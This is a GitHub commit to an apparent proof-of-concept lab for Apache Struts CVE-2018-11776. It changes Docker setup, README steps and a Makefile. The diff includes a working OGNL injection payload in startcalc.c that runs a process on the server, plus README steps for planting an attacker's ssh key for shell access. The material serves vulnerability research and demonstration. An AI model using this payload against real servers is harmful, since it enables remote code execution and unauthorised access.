Skip to content

Commit 152a870

Browse files
Enable popping a calculator from inside docker.
1 parent 20e2d3d commit 152a870

8 files changed

Lines changed: 52 additions & 17 deletions

File tree

Apache/Struts/CVE-2018-11776/README.md

Lines changed: 10 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -22,13 +22,13 @@ Build the docker image:
2222

2323
```
2424
cd struts-server
25-
docker build . -t struts-server
25+
docker build . -t struts-server --build-arg UID=`id -u`
2626
```
2727

2828
Start the container:
2929

3030
```
31-
docker run --rm --network struts-demo-network --ip=172.16.0.10 -h struts-server --publish 8080:8080 -i -t struts-server
31+
docker run --rm --network struts-demo-network --ip=172.16.0.10 -h struts-server --publish 8080:8080 -e DISPLAY=$DISPLAY -v /tmp/.X11-unix:/tmp/.X11-unix -i -t struts-server
3232
```
3333

3434
Inside the container, start Struts and sshd. The reason for starting sshd is that we are going to use it to get a shell on the Struts server. We think it is realistic for sshd to be running because it is very widely used by system administrators for remote access.
@@ -55,12 +55,17 @@ Start the container:
5555
docker run --rm --network struts-demo-network --ip=172.16.0.11 -h struts-attacker -i -t struts-attacker
5656
```
5757

58-
Inside the container, build `copykey.c` and use it to copy the attacker's ssh key into the server's `authorized_keys` file. Then use `ssh` to login.
58+
Inside the container, use `copykey` to copy the attacker's ssh key into the server's `authorized_keys` file. Then use `ssh` to login.
5959

6060
```
61-
gcc copykey.c utils.c -o copykey
62-
./copykey http://172.16.0.10:8080/struts2-showcase
61+
./src/copykey http://172.16.0.10:8080/struts2-showcase
6362
ssh victim@172.16.0.10
6463
```
6564

6665
We have a shell!
66+
67+
Alternatively, you can start a calculator like this:
68+
69+
```
70+
./src/startcalc http://172.16.0.10:8080/struts2-showcase
71+
```
Lines changed: 4 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -1,18 +1,19 @@
11
FROM ubuntu:bionic
22

33
RUN apt-get update && \
4-
apt-get install -y curl tmux emacs net-tools gcc ssh
4+
apt-get install -y curl tmux emacs net-tools gcc ssh build-essential
55

66
# Create user account for the attacker.
77
RUN adduser attacker --disabled-password
88

99
# Copy the exploit PoC into the attacker's home directory.
10-
COPY copykey.c /home/attacker/copykey.c
11-
RUN chown attacker:attacker /home/attacker/copykey.c
10+
COPY src /home/attacker/src
11+
RUN chown -R attacker:attacker /home/attacker/src
1212

1313
# Switch over to the 'attacker' user, since root access is no longer required
1414
USER attacker
1515
WORKDIR /home/attacker
16+
RUN cd src && make
1617

1718
# Create an ssh key for the attacker.
1819
RUN ssh-keygen -t ed25519 -f ~/.ssh/id_ed25519 -q -P ""
Lines changed: 19 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,19 @@
1+
all: copykey startcalc
2+
3+
clean:
4+
rm -f *.o copykey startcalc
5+
6+
copykey: copykey.o utils.o
7+
gcc -Wall copykey.o utils.o -o copykey
8+
9+
startcalc: startcalc.o utils.o
10+
gcc -Wall startcalc.o utils.o -o startcalc
11+
12+
copykey.o: copykey.c utils.h
13+
gcc -c copykey.c
14+
15+
startcalc.o: startcalc.c utils.h
16+
gcc -c startcalc.c
17+
18+
utils.o: utils.c utils.h
19+
gcc -c utils.c

Apache/Struts/CVE-2018-11776/struts-attacker/copykey.c renamed to Apache/Struts/CVE-2018-11776/struts-attacker/src/copykey.c

File renamed without changes.

Apache/Struts/CVE-2018-11776/struts-attacker/startcalc.c renamed to Apache/Struts/CVE-2018-11776/struts-attacker/src/startcalc.c

Lines changed: 15 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -6,12 +6,20 @@
66
#include "utils.h"
77

88
// NOTE:
9-
// This exploit will not work if Struts is running in a docker container,
10-
// because you cannot pop a calculator from inside docker. So this exploit
11-
// requires you to run Struts outside of docker. The easiest way to do this
12-
// is to follow the instructions in the README for building Struts in
13-
// docker. Then just copy the tomcat directory out of docker. To do that,
14-
// start docker like this:
9+
// This exploit will not normally work if Struts is running in a docker
10+
// container, because you cannot pop a calculator from inside docker. There
11+
// are two ways to solve this problem. The first solution is to pass the
12+
// following extra arguments on the `docker run` command line, to enable X
13+
// applications to run from within the container:
14+
//
15+
// ```
16+
// -e DISPLAY=$DISPLAY -v /tmp/.X11-unix:/tmp/.X11-unix
17+
// ```
18+
//
19+
// The second solution is to run Struts outside of docker. The easiest way
20+
// to do this is to follow the instructions in the README for building
21+
// Struts in docker. Then just copy the tomcat directory out of docker. To
22+
// do that, start docker like this:
1523
//
1624
// ```
1725
// docker run -v `pwd`:/home/victim/temp -i -t struts-server
@@ -57,7 +65,7 @@ int main(int argc, char* argv[]) {
5765
"${(#_=#attr['struts.valueStack']).(#context=#_.getContext())."
5866
"(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#context."
5967
"setMemberAccess(#dm)).(#sl=@java.io.File@separator)."
60-
"(#p=new java.lang.ProcessBuilder({'bash','-c','gnome-calculator'})).(#p.start())}";
68+
"(#p=new java.lang.ProcessBuilder({'bash','-c','xcalc'})).(#p.start())}";
6169

6270
// Escape any slash characters in the ssh key, to stop Tomcat from
6371
// intercepting them.

Apache/Struts/CVE-2018-11776/struts-attacker/utils.c renamed to Apache/Struts/CVE-2018-11776/struts-attacker/src/utils.c

File renamed without changes.

Apache/Struts/CVE-2018-11776/struts-attacker/utils.h renamed to Apache/Struts/CVE-2018-11776/struts-attacker/src/utils.h

File renamed without changes.

Apache/Struts/CVE-2018-11776/struts-server/Dockerfile

Lines changed: 4 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -3,10 +3,12 @@ FROM ubuntu:bionic
33
RUN apt-get update && \
44
apt-get install -y \
55
openjdk-8-jdk git curl zip unzip \
6-
tmux sudo emacs maven openssh-server net-tools
6+
tmux sudo emacs maven openssh-server net-tools x11-apps
7+
8+
ARG UID=1000
79

810
# Create a non-root user account to run Struts.
9-
RUN adduser victim --disabled-password
11+
RUN adduser victim --disabled-password --uid $UID
1012

1113
# Grant the 'victim' user sudo access, so that we can start sshd.
1214
RUN adduser victim sudo

0 commit comments

Comments
 (0)